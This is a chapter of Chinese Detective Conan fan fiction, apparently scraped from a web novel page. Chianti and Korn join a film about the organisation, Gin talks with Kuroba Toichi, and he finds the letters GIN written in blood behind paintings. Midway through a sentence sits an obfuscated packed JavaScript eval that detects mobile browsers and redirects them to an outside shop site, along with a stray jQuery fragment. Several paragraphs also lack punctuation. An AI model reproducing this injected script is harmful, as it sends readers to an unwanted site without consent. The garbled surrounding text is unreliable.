基安蒂小姐本来是想逃离地球的,但奈何目前还没有星际列车,她就只能回来了。在轻井泽摸鱼了几天后,她接到了科恩发来的消息,科恩问她有部电影的角色要不要来参演。
“什么电影?”
“卧底特工潜伏二十年摧毁组织的电影,我们是负责阴险大笑的反派。”
“好,我喜欢!”
基安蒂闲着也是闲着,收拾行李就去了,可到了地方,试镜完了,导演说「天啊,莉缇雅(假名)小姐,你简直是蝴蝶这个角色本人啊」的时候,基安蒂的动物园雷达动了。
蝴蝶,什么蝴蝶?这不就是我以前的代号吗?
她拿到导演给的剧本,火速翻了一遍有关自己的部分,发现她是某个组织的狙击手,搭档是「飞蛾」而不是「蜘蛛」,组织也没有到处找宝石,ANI结社里也没有什么银发的高层杀手……太好了,可以放心了——个鬼啊!
这确实不是ANI结社,但这不是乌丸集团吗?!科恩你是认真的吗?
她找到科恩,问:“科恩,你确定拍完这部电影我们两个还能活?”
科恩给她指了一个方向,说:“你看,那是电影的总导演克丽丝·温亚德。”
基安蒂看到贝尔摩德,一拍大腿忽然开始找枪:“快,趁现在——就现在我们把她干掉!”可算是找到杀贝尔摩德的机会了,基安蒂看贝尔摩德不顺眼多年,她等这个机会已经很久了!
科恩赶紧拦住她:“等等等等,这里是片场,到处都有镜头的!”
而且他也不觉得没有狙击枪的情况下他们能打得过贝尔摩德:D,在别人的地盘上还是就这样吧。
当天晚上,基安蒂回去仔细研读了剧本,虽然她拿到的不是全部的剧本,但越看越觉得那个组织像换了个动物园壳子的乌丸集团,她又看到“银发少年孤身一人潜入组织卧薪尝胆铸就悲歌”的英雄剧情,一宿儿没睡。
第二天,基安蒂跟科恩碰面,说你看完剧本了吗,科恩说就看了一部分吧,基安蒂说不行,贝尔摩德拍这部电影是要污蔑琴酒的,她肯定不知道琴酒还活着,我们不能被她拖下水,快跑,不能在这部电影的剧组里待着了!
科恩OS:呃,贝尔摩德在游轮的时候就跟小琴酒先生见过面了,基安蒂你这是什么版本的情报了?
他说别急,基安蒂,我们拿到的剧本只是一部分,毕竟咱俩戏份少,但我今早从编剧那里听说了「夜莺」的过去,他因为爱人死去痛彻心扉,决定摧毁组织……
基安蒂:“哦,那没事
了贝尔摩德也编不出这样的琴酒。”
她放心了。
基安蒂坐在片场刷娱乐新闻等化妆师来过了几分钟她又问:“所以「夜莺」的爱人是谁?”
科恩:“一个代号是「乌鸦」的怪盗。”
基安蒂:“……?”
她缓缓打出一个问号又想到自己从琴酒手里拿到的本应在怪盗基德/乌鸦手里的宝石脸上的笑容逐渐消失。
基安蒂惨叫着跳起来:“科恩跑!我们快跑!别问为什么这次我们是真知道了会被灭口的东西!”
当然没跑成。来都来了贝尔摩德还能让他们跑了吗。
……
黑泽阵对剧本很满意反正跟他偏差越大越好他没有让同行认出自己的打算。贝尔摩德本就在剧本里把他的人生经历改得乱七八糟再加上这出八成是没人能认出来了。
他正坐在车里伏特加开着车
刚才黑羽盗一给他打了个电话问他魔术演出的门票收到了没有。黑泽阵当然看到了被小白鸽放在桌子上的特殊演出票上面写着:「暂时不能透露身份的神秘魔术师的演出」将在7月17日海の日期间开幕!
他望向车窗外的城市街道在车载音乐舒缓的节奏里说:“复活节已经过了大魔术师。”
“没死的怪盗可不需要复活夜莺也是。”黑羽盗一调侃道“我听快斗说你们的电影有了新打算?”
哦果然是为了这个。
黑泽阵低笑换了右手拿手机愉悦地说:“不好吗乌鸦女士?你的魅力从泰晤士河到密西西比河无人不知无人不晓全世界的侦探都该拜倒在你的裙摆下。”
黑羽盗一也笑了起来:“那得是千影你千影姐喜欢这个设定她说有机会要去那个剧组做动作指导。”
出演是不可能的黑羽千影知道自己没法做演员——怪盗淑女是一回事她能做怪盗却不会听导演指挥说到底怪盗家也只有快斗还能去片场做演员玩玩了。
“演出能来吗?不能我就要换个时间了。”大魔术师先生说。
“怎么?黑羽盗一先生的复出时间还能由我来定?”
“当然。”
“好啊”黑泽阵回答“我会去不用改时间只要活着我就会去。”
于是电话那边的魔术师又笑了说小夜莺这种Flag可不兴立啊为了消除这个Flag——如果你不来我就不复出了让快斗替我表演就好
。
黑泽阵说不用那么麻烦现在一群人盯着我想杀我没那么容易刚才有杀手要动手不知道被谁派来的人解决了。
当然就算他们能过来也伤不到他伏特加在身边黑泽阵都有点懒得自己动手了。
他挂断电话
成年人的余裕.jpg
伏特加看到已经快午饭时间了就问大哥我们去哪吃个饭。午饭向来是不在家里吃的黑泽阵也没打算让伏特加真当厨师。给他做可以给那一群人做就免了。
于是伏特加说附近有家朋友推荐过的店可以去试试黑泽阵说行。
车子驶过一条熟悉又陌生的街道黑泽阵往窗外望去看到一片樱花树的绿绿荫将老旧的街道拥住却盖不住建筑倒塌的风景。
三本漆公寓的木牌被竖在墙边公寓已经拆了一半。这里是古桥町眼前是他们搬走前居住的公寓诸伏景光失忆的时候在这里住了很久。不只是公寓被拆除整条老街都没什么人书店门口的鱼缸不见了几只流浪猫不见了总是在打哈欠的奶茶店店员也不见了萧条空旷的气息蔓延在昔日熟悉的街道上。
伏特加注意到黑泽阵一直在看外面就放缓了车速问:“大哥?”
他还记得这里是自己找到大哥的地方但没想到这条街已经要被拆了。放眼望去一片颓然衰败景象还有几个人正在周围拿着地图指点江山似乎是规划师在做调查。
黑泽阵收回视线说没事继续走吧。
他看到酒井的酒吧也关着门虽然酒井这段时间又不在日本而是跟赤井务武回了挪威但他觉得酒井应该知道这里是什么情况。
他给酒井发消息酒井很快回复说:那条街属于某个「歌舞伎町」的管理范围大概一个半月前那个帮派在跟别的帮派的斗争里解散另一边没能接手因为这条街的半数产业属于某个财团。虽然都是些老店但店铺是财团在半个世纪前租出去的现在财团打算买下另外一半将整条街道翻新重建。
黑泽阵的手在屏幕上停顿了一会儿才敲下几个字:这样啊。
他还挺喜欢这条老街的没想到现在就被不断前进的时代抛弃了。没什么好可惜的一切旧东西的归宿而已。
文字看不出语气不过酒井跟他很熟知道他不喜欢挪窝就
说:如果你喜欢,我们也可以从财团手里把它截下来。
A.U.R.O的大部分确实不在了,但要买个街道给Juniper怀旧还是做得到的。
黑泽阵:不用了。
他没有这种想法,也不想在这个时候节外生枝,该消失的东西就让他消失去吧。
伏特加开着车,缓缓驶出这条街道,他觉得应该再慢点,但也不能再慢了。绿荫后是一片夺目的日光,耀得人不由得闭上了眼睛。
他们遇到了两次袭击。
黑泽阵看着跑前跑后的小警察,还是叫这位一直跟着自己的桐野警官一起吃饭了。不知道对方是怎么跟上来的,但每天都在找他的路上也挺辛苦。
午饭没什么特别的,黑泽阵表示他不是很挑剔。桐野警官小声问伏特加“他每天都这样吃饭吗”,伏特加回答他“因为是大哥”。
桐野警官:好难养,好贵,想想就开始胃疼了。降谷,你真要养这只、不是,这个人吗。
他想起降谷和黑田打的电话,按理来说他这个级别是不能听的,但说的是「黑泽阵」的问题,降谷就没避开他。桐野警官听到黑田说了“很麻烦”之类的话,降谷的回答是“我会解决问题,所以谁都别想动他”。
如果不是知道这俩人之间的关系,桐野警官就想吹一波友情和羁绊了,可惜不能。小警察今天也在为自己知道的东西太多而胃疼。
“什么时候?”
黑泽阵忽然没头没尾地问了一句。
桐野警官愣了一下,才知道他在问什么:“降谷没有通知我,但他说到时候会来找你。”
银发少年正在整理被猫抓乱的头发,闻言看过来,似笑非笑地说:“我还以为你们会想尽办法把我软禁起来,直到行动结束。”
桐野:“……”其实他们真的很想,就连诸伏都投了赞成票,只是降谷反对而已。对你作为关键证人的重要程度有点数吧黑泽先生!
黑泽阵很显然是有数的,他从餐厅透明的椅子上站起来,长发瀑布般落在身后。
他说着往外走:“看来,你们公安已经是BOSS大人的一言堂了。”
公安甚至没把跟着他的人换掉——波本,我还是小看你的手段了。
桐野警官:就算在极端情况下是这样,你也不要直白地说出来啊!好想换任务胃好痛啊啊啊为什么来跟着这个人的是我啊!
伏特加:新来的跟班有点太大惊小怪了……(完全没感觉到自己的地位被威胁,甚至开始担心起桐野先生的胃)
“您接下来打算去哪?”
桐野警官看了一眼时间,黑泽阵已经在外面闲逛了四个小时,从米花町逛到杯户町,从池袋去了下野町,然后在古桥町吃了个饭,现在又要去……这是什么方向?
黑泽阵没说话,开车的伏特加回答了问题:“米花动物园。”
桐野警官:好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13110848|113047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的,接下来是儿童旅游时间,我早该知道的,黑泽先生每天出门去不同的地方逛街钓鱼,除了引出暗地里杀他的一堆——可能是一吨人外就没有别的事可以干,真希望他能在家睡觉。
如果黑泽阵能听到桐野警官的心理活动,大概会回答小警察说我家有个和我在一起就睡不着的家伙,我们轮流睡觉,现在是他的休息时间。
桐野警官安心地跟到米花动物园里,然后看到银发少年从养鸟的空心树后穿过,找到向下的隐蔽台阶,顺着就到了地下的空间里。
等等,说好的普通逛动物园呢?
伏特加走在黑泽阵后面,开着手电筒,毕竟这里没有开灯。他觉得这地下很冷,但黑泽阵没什么反应。
“大哥,这里是哪?”
“一个组织的地下基地,我来过,有件事有点在意,打算回来看看。”
黑泽阵转了几次,找到了ANI结社的棋牌室——不好意思,是他们的据点。桌子上还整整齐齐地放着扑克牌,警方虽然搜查过了,却没把这些东西带走,可能是因为每个据点里都有吧。
黑泽阵随意地往四周看了看,这里已经没什么特别的东西,只有桌子下面还有几根鸽子羽毛。
他径直往一扇大门的方向去,推开门,就是他当初跟蜘蛛走过的长廊,描绘着《沃尔松格萨迦》的数十幅油画被挂在两侧的墙壁上,一眼望去看不到尽头。斩杀恶龙的英雄、阴森诡谲的森林、堆积如山的白骨、赞颂史诗的歌者,被敲成碎片的利剑散落于山坡,零散错落的画面以毫无规律的顺序出现,摆放这些油画的人似乎没打算讲好一个故事。
如果是侦探们前来,这会儿或许就得给它们排个顺序,看看能不能触发什么机关或者隐藏的密码了,可黑泽阵没那个兴趣,他只是在某几幅油画前停下,深深皱起了眉。
“这几幅画有什么问题吗?”桐野警官看他有段时间没说话了,就小声问。
“画没问题。”黑泽阵回答。
“那为什么要看它们?”
桐野警官看着那几幅油画,觉得跟其他的没什么区别,颜色灰黑暗沉,只有红色鲜艳如血,看起来就不像是什么正经的东西。
黑泽阵依旧盯着那几幅油画看,心想没有问题就是最大的问题。在五月份,他和蜘蛛经过的时候,这里还空无一物,只有弹痕留在拿走油画的空隙上。
他本来是觉得自己在哪里见过类似的东西,决定回来看看,从记忆里翻翻找找,看看能不能得到线索,但现在,有人把它们挂回来了
“因为,”黑泽阵的语气毫无起伏,“这几幅画我见过,不在这里,在那位先生的收藏里。”
这几幅画描绘的故事与潘多拉或者彗星无关,是整个油画系列最后的故事:不死的英雄最终将自己的心脏剜出,沉眠于墓地,那颗属于人或者龙的心脏衰败为了尘土,西格鲁德(Sigurd)自以为能够安息,可当人们来寻找他的时候,却看到法夫娜(Fafnir)的身影重新展翼于天际。
一个对现在来说已经老套过时的、一个于神话而言怪异扭曲的故事。
他在乌丸莲耶的收藏室里见过这几幅画,准确来说,他曾经面对这几幅画被关了三天的禁闭,因为他故意搞砸了一个对那位先生来说也很重要的任务。那时候他十五岁,在任务地点看到了A.U.R.O的同伴。
“桐野,让你们的人查查之后还有没有人来过。”
黑泽阵说着,走上前去看那几幅油画,在桐野警官打电话的时候,微微抬手,把其中一幅油画摘了下来。
桐野警官刚要拨出电话,慌忙阻止他:“别乱动……万一有陷阱怎么……”
没有陷阱,倒是有别的东西。一道血画的竖线,线条很宽,在昏暗的空间里尤为刺眼。
虽然已经过去多时,但在场的三人还是能清楚地判断出,那些暗红色甚至已经发黑的颜料就是血。放在这种地方,搞不好还是人类的血。
手电筒的光照到墙壁上,被映成雪白的墙,黑红的血,极为醒目。
黑泽阵默不作声地拿下了右侧的油画。三道搭在一起的线,两竖一斜,也是血画的,被掩盖在油画后面,等高。这幅油画背后沾了血迹,大概是最后挂的,挂上去的时候血还没干。
空旷的黑暗长廊里只有他们三个人,甚至能听到有人越来越急促的呼吸声。
银发少年顿了顿,就以相当烦躁的神情把左侧的油画扯了下来,木质画框发出刺啦的响声,而他完全没担心油画被破坏,就这么硬生生地把油画拽了下来。
那背后用血,写了个大大的英文字母G。
G、I、N。
是来找他的。
黑泽阵盯着那三个字母看了很久,忽然转头看向空寂的黑暗深处:
“谁?”
作者有话要说
基安蒂:发现真相但是有点晚了.jpg
科恩:有福同享有难同当,基安蒂,我们一起死吧.jpg(并且开始考虑把其他人也拉来拍电影,反正波本和琴酒不可能把他们全都杀了吧,哈哈)